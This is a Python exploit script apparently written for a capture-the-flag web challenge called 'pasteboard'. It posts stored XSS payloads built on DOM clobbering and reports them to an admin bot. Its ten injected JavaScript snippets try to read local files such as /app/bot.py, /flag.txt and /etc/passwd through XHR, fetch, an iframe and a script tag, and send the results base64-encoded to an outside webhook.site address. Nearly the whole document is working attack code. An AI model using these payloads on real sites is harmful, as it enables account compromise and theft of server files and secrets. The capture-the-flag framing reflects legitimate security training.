#!/usr/bin/env python3
"""
Comprehensive File Access Tester - Tests multiple methods to read /app/bot.py
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin


CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"


def create_and_report(title, payload):
    """Create paste and report to bot"""
    print(f"\n[*] Testing: {title}")
    print(f"[*] Creating paste...")

    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": title, "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        note_url = urljoin(CHALLENGE_URL, note_path)
        print(f"[+] Paste created: {note_url}")

        time.sleep(1)

        print(f"[*] Reporting to bot...")
        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued! Check webhook in 5-10 seconds")
            return True
        else:
            print(f"[-] Failed to report: {report_response.status_code}")
            return False
    else:
        print(f"[-] Failed to create paste: {response.status_code}")
        return False


print("="*80)
print("🔬 COMPREHENSIVE FILE ACCESS TESTER")
print("="*80)
print(f"Target: {CHALLENGE_URL}")
print(f"Webhook: {WEBHOOK}")
print("="*80)


# Test 1: Synchronous XHR with base64 encoding
code1 = f"""try{{
var x=new XMLHttpRequest();
x.open('GET','file:///app/bot.py',false);
x.send();
fetch('{WEBHOOK}?method=sync_xhr_b64&data='+btoa(x.responseText).substring(0,1000));
}}catch(e){{
fetch('{WEBHOOK}?method=sync_xhr_b64&error='+encodeURIComponent(e.toString()));
}}"""
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 1: Sync XHR + Base64", payload1)
time.sleep(12)


# Test 2: Async XHR with error handling
code2 = f"""var x=new XMLHttpRequest();
x.open('GET','file:///app/bot.py',true);
x.onload=()=>fetch('{WEBHOOK}?method=async_xhr&data='+btoa(x.responseText).substring(0,1000));
x.onerror=(e)=>fetch('{WEBHOOK}?method=async_xhr&error='+e.type);
x.send();"""
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code2.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 2: Async XHR", payload2)
time.sleep(12)


# Test 3: Direct navigation with confirmation ping
code3 = f"""fetch('{WEBHOOK}?method=navigation&status=starting').then(()=>{{
setTimeout(()=>{{window.location='file:///app/bot.py'}},500);
}});"""
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code3.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 3: Navigation with ping", payload3)
time.sleep(12)


# Test 4: Iframe with content extraction
code4 = f"""var i=document.createElement('iframe');
i.style.display='none';
i.src='file:///app/bot.py';
i.onload=()=>{{
try{{
var txt=i.contentDocument.body.innerText||i.contentDocument.body.textContent;
fetch('{WEBHOOK}?method=iframe&data='+btoa(txt).substring(0,1000));
}}catch(e){{
fetch('{WEBHOOK}?method=iframe&error='+encodeURIComponent(e.toString()));
}}
}};
i.onerror=()=>fetch('{WEBHOOK}?method=iframe&error=load_failed');
document.body.appendChild(i);"""
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code4.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 4: Iframe + content read", payload4)
time.sleep(12)


# Test 5: Try reading flag.txt instead
code5 = f"""try{{
var x=new XMLHttpRequest();
x.open('GET','file:///flag.txt',false);
x.send();
fetch('{WEBHOOK}?method=flag_txt&data='+btoa(x.responseText));
}}catch(e){{
fetch('{WEBHOOK}?method=flag_txt&error='+encodeURIComponent(e.toString()));
}}"""
payload5 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code5.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 5: Read /flag.txt", payload5)
time.sleep(12)


# Test 6: Try reading /app/flag.txt
code6 = f"""try{{
var x=new XMLHttpRequest();
x.open('GET','file:///app/flag.txt',false);
x.send();
fetch('{WEBHOOK}?method=app_flag_txt&data='+btoa(x.responseText));
}}catch(e){{
fetch('{WEBHOOK}?method=app_flag_txt&error='+encodeURIComponent(e.toString()));
}}"""
payload6 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code6.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 6: Read /app/flag.txt", payload6)
time.sleep(12)


# Test 7: Check if file:// fetch works at all
code7 = f"""fetch('file:///etc/passwd')
.then(r=>r.text())
.then(d=>fetch('{WEBHOOK}?method=fetch_passwd&data='+btoa(d).substring(0,500)))
.catch(e=>fetch('{WEBHOOK}?method=fetch_passwd&error='+encodeURIComponent(e.toString())));"""
payload7 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code7.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 7: Fetch /etc/passwd", payload7)
time.sleep(12)


# Test 8: Try Object.keys on window to find selenium injected properties
code8 = f"""var keys=Object.keys(window).filter(k=>k.includes('flag')||k.includes('FLAG')||k.includes('cdc')||k.includes('webdriver')||k.includes('selenium')||k.includes('$'));
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'window_keys',keys:keys,full:Object.keys(window).slice(0,100)}})}}); """
payload8 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code8.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 8: Selenium injected props", payload8)
time.sleep(12)


# Test 9: Try reading via script src (different from XHR)
code9 = f"""var s=document.createElement('script');
s.onerror=()=>fetch('{WEBHOOK}?method=script_src&error=failed');
s.onload=()=>fetch('{WEBHOOK}?method=script_src&success=loaded');
s.src='file:///app/bot.py';
document.head.appendChild(s);"""
payload9 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code9.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 9: Script src file://", payload9)
time.sleep(12)


# Test 10: Check for __playwright, __puppeteer, or other automation markers
code10 = f"""var markers={{
playwright:window.__playwright||window.playwright,
puppeteer:window.__puppeteer||window.puppeteer,
webdriver:navigator.webdriver,
selenium:window.selenium,
callPhantom:window.callPhantom,
_phantom:window._phantom
}};
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'automation_markers',markers:markers}})}});"""
payload10 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code10.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 10: Automation markers", payload10)


print("\n" + "="*80)
print("✅ ALL TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("⏰ Total wait time: ~2 minutes")
print("="*80)
print("\nLook for these in webhook:")
print("  - method=sync_xhr_b64 (synchronous XHR)")
print("  - method=async_xhr (async XHR)")
print("  - method=navigation (direct navigation)")
print("  - method=iframe (iframe content)")
print("  - method=flag_txt (reading /flag.txt)")
print("  - method=app_flag_txt (reading /app/flag.txt)")
print("  - method=fetch_passwd (fetch API test)")
print("  - method=window_keys (selenium properties)")
print("  - method=script_src (script tag loading)")
print("  - method=automation_markers (automation detection)")
print("="*80)
